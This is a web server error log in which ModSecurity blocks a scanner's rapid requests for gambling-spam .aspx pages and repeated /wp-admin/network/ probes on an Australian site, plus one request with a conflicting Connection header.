[Sat Jan 31 03:38:46.569829 2026] [:error] [pid 39244:tid 39328] [client 147.135.213.153:41628] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX0Ixno-KRTvg3jHEDyl8QAAAJI"]
[Sat Jan 31 03:38:48.933913 2026] [:error] [pid 39242:tid 39257] [client 147.135.213.153:47686] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX0IyNOgXnkKGGSSCINC8AAAAAM"]
[Sat Jan 31 03:38:51.426716 2026] [:error] [pid 39242:tid 39273] [client 147.135.213.153:47698] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX0Iy9OgXnkKGGSSCINC-QAAABM"]
[Sat Jan 31 03:38:53.974791 2026] [:error] [pid 39243:tid 39292] [client 147.135.213.153:47708] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX0IzRBW1k4JK8a4v0YaPAAAAEo"]
[Sat Jan 31 03:38:56.481152 2026] [:error] [pid 39243:tid 39305] [client 147.135.213.153:47712] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX0I0BBW1k4JK8a4v0YaQQAAAFc"]
[Sat Jan 31 03:38:59.021355 2026] [:error] [pid 39244:tid 39324] [client 147.135.213.153:43682] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX0I03o-KRTvg3jHEDymHwAAAI4"]
[Sat Jan 31 03:39:01.549779 2026] [:error] [pid 39243:tid 39297] [client 147.135.213.153:43686] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX0I1RBW1k4JK8a4v0YaRwAAAE8"]
[Sat Jan 31 03:39:04.043407 2026] [:error] [pid 39339:tid 39344] [client 147.135.213.153:43698] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aX0I2MWi-IjigR3oHY5e0wAAAMM"]
[Sat Jan 31 03:39:06.575277 2026] [:error] [pid 39339:tid 39357] [client 147.135.213.153:43702] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX0I2sWi-IjigR3oHY5e2gAAANA"]
[Sat Jan 31 03:39:09.111002 2026] [:error] [pid 39242:tid 39278] [client 147.135.213.153:46716] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX0I3dOgXnkKGGSSCINDEQAAABg"]
[Sat Jan 31 03:39:11.666741 2026] [:error] [pid 39244:tid 39316] [client 147.135.213.153:46732] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX0I33o-KRTvg3jHEDymNgAAAIY"]
[Sat Jan 31 03:39:14.167621 2026] [:error] [pid 39339:tid 39359] [client 147.135.213.153:46734] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX0I4sWi-IjigR3oHY5e4wAAANI"]
[Sat Jan 31 03:39:16.696233 2026] [:error] [pid 39243:tid 39289] [client 147.135.213.153:46740] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX0I5BBW1k4JK8a4v0YaXAAAAEc"]
[Sat Jan 31 03:39:19.218090 2026] [:error] [pid 39244:tid 39328] [client 147.135.213.153:46952] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX0I53o-KRTvg3jHEDymRgAAAJI"]
[Sat Jan 31 03:39:21.776192 2026] [:error] [pid 39243:tid 39306] [client 147.135.213.153:46960] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX0I6RBW1k4JK8a4v0YaZwAAAFg"]
[Sat Jan 31 03:39:24.315455 2026] [:error] [pid 39339:tid 39365] [client 147.135.213.153:46970] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aX0I7MWi-IjigR3oHY5e_QAAANg"]
[Sat Jan 31 03:39:26.833295 2026] [:error] [pid 39339:tid 39365] [client 147.135.213.153:46986] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aX0I7sWi-IjigR3oHY5fCAAAANg"]
[Sat Jan 31 03:39:29.327698 2026] [:error] [pid 39339:tid 39344] [client 147.135.213.153:37356] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aX0I8cWi-IjigR3oHY5fEQAAAMM"]
[Sat Jan 31 03:39:31.710707 2026] [:error] [pid 39339:tid 39354] [client 147.135.213.153:37366] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aX0I88Wi-IjigR3oHY5fFwAAAM0"]
[Sat Jan 31 03:39:52.866083 2026] [:error] [pid 39243:tid 39297] [client 147.135.213.153:37376] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX0JCBBW1k4JK8a4v0YapwAAAE8"]
[Sat Jan 31 03:39:55.448351 2026] [:error] [pid 39244:tid 39325] [client 147.135.213.153:47142] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX0JC3o-KRTvg3jHEDymegAAAI8"]
[Sat Jan 31 03:39:57.841889 2026] [:error] [pid 39243:tid 39303] [client 147.135.213.153:48694] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX0JDRBW1k4JK8a4v0YasgAAAFU"]
[Sat Jan 31 03:40:00.373906 2026] [:error] [pid 39243:tid 39290] [client 147.135.213.153:48696] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX0JEBBW1k4JK8a4v0YavAAAAEg"]
[Sat Jan 31 03:40:02.871966 2026] [:error] [pid 39243:tid 39303] [client 147.135.213.153:48706] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX0JEhBW1k4JK8a4v0YaxQAAAFU"]
[Sat Jan 31 03:40:05.380682 2026] [:error] [pid 39244:tid 39327] [client 147.135.213.153:48714] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX0JFXo-KRTvg3jHEDymiAAAAJE"]
[Sat Jan 31 03:40:07.871652 2026] [:error] [pid 39339:tid 39347] [client 147.135.213.153:54604] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX0JF8Wi-IjigR3oHY5fVQAAAMY"]
[Sat Jan 31 03:40:10.390838 2026] [:error] [pid 39242:tid 39278] [client 147.135.213.153:54612] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX0JGtOgXnkKGGSSCINDZgAAABg"]
[Sat Jan 31 03:40:12.892890 2026] [:error] [pid 39339:tid 39354] [client 147.135.213.153:54624] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX0JHMWi-IjigR3oHY5fjAAAAM0"]
[Sat Jan 31 03:40:15.228116 2026] [:error] [pid 39339:tid 39354] [client 147.135.213.153:54628] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX0JH8Wi-IjigR3oHY5fwwAAAM0"]
[Sat Jan 31 03:40:17.740596 2026] [:error] [pid 39243:tid 39301] [client 147.135.213.153:36502] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX0JIRBW1k4JK8a4v0Ya-AAAAFM"]
[Sat Jan 31 03:40:20.236704 2026] [:error] [pid 39243:tid 39295] [client 147.135.213.153:36512] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX0JJBBW1k4JK8a4v0YbAAAAAE0"]
[Sat Jan 31 03:40:22.876181 2026] [:error] [pid 39243:tid 39301] [client 147.135.213.153:36514] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX0JJhBW1k4JK8a4v0YbBwAAAFM"]
[Sat Jan 31 03:40:25.378203 2026] [:error] [pid 39339:tid 39356] [client 147.135.213.153:36528] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX0JKcWi-IjigR3oHY5f8AAAAM8"]
[Sat Jan 31 03:40:27.873769 2026] [:error] [pid 39242:tid 39274] [client 147.135.213.153:48150] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX0JK9OgXnkKGGSSCINDhQAAABQ"]
[Sat Jan 31 03:40:30.402066 2026] [:error] [pid 39244:tid 39330] [client 147.135.213.153:48160] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX0JLno-KRTvg3jHEDymtwAAAJQ"]
[Sat Jan 31 03:40:32.921656 2026] [:error] [pid 39244:tid 39323] [client 147.135.213.153:48162] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX0JMHo-KRTvg3jHEDymvgAAAI0"]
[Sat Jan 31 03:40:35.400462 2026] [:error] [pid 39243:tid 39282] [client 147.135.213.153:48168] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX0JMxBW1k4JK8a4v0YbIAAAAEA"]
[Sat Jan 31 03:40:37.791762 2026] [:error] [pid 39244:tid 39322] [client 147.135.213.153:34468] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX0JNXo-KRTvg3jHEDymxAAAAIw"]
[Sat Jan 31 03:40:40.172579 2026] [:error] [pid 39339:tid 39363] [client 147.135.213.153:34476] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aX0JOMWi-IjigR3oHY5gDAAAANY"]
[Sat Jan 31 03:40:42.588761 2026] [:error] [pid 39243:tid 39296] [client 147.135.213.153:34488] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX0JOhBW1k4JK8a4v0YbLAAAAE4"]
[Sat Jan 31 03:40:45.008605 2026] [:error] [pid 39243:tid 39286] [client 147.135.213.153:34492] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX0JPRBW1k4JK8a4v0YbMgAAAEQ"]
[Sat Jan 31 03:40:47.541909 2026] [:error] [pid 39243:tid 39289] [client 147.135.213.153:39408] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX0JPxBW1k4JK8a4v0YbOQAAAEc"]
[Sat Jan 31 03:40:50.097943 2026] [:error] [pid 39244:tid 39330] [client 147.135.213.153:39410] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX0JQno-KRTvg3jHEDym6AAAAJQ"]
[Sat Jan 31 04:54:55.362158 2026] [autoindex:error] [pid 39243:tid 39297] [client 13.75.54.243:20387] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 04:54:56.983099 2026] [:error] [pid 39243:tid 39305] [client 13.75.54.243:20387] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0aoBBW1k4JK8a4v0Y7EgAAAFc"]
[Sat Jan 31 04:54:57.458353 2026] [:error] [pid 20836:tid 20853] [client 13.75.54.243:19428] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0aoYACllgWRWVrYITM5QAAAUw"]
[Sat Jan 31 04:54:57.926134 2026] [:error] [pid 39243:tid 39298] [client 13.75.54.243:29126] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0aoRBW1k4JK8a4v0Y7EwAAAFA"]
[Sat Jan 31 04:54:58.400038 2026] [:error] [pid 39339:tid 39354] [client 13.75.54.243:19875] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0aosWi-IjigR3oHY6ItwAAAM0"]
[Sat Jan 31 09:09:37.187832 2026] [autoindex:error] [pid 39242:tid 39266] [client 13.75.54.243:50003] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 09:09:39.214980 2026] [:error] [pid 39242:tid 39262] [client 13.75.54.243:50003] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX1WU9OgXnkKGGSSCIOelgAAAAg"]
[Sat Jan 31 09:09:39.689857 2026] [:error] [pid 52451:tid 52474] [client 13.75.54.243:26363] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX1WU3ubVy7MGYWM2NZDQwAAAdQ"]
[Sat Jan 31 09:09:40.164355 2026] [:error] [pid 52415:tid 52437] [client 13.75.54.243:35173] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX1WVJ-DUxb_li2fU6I8NQAAAZQ"]
[Sat Jan 31 09:09:40.633865 2026] [:error] [pid 52415:tid 52439] [client 13.75.54.243:24730] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/"] [unique_id "aX1WVJ-DUxb_li2fU6I8NgAAAZY"]
[Sat Jan 31 13:21:01.719055 2026] [:error] [pid 52415:tid 52423] [client 43.159.143.139:44366] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aX2RPZ-DUxb_li2fU6KU_gAAAYY"]
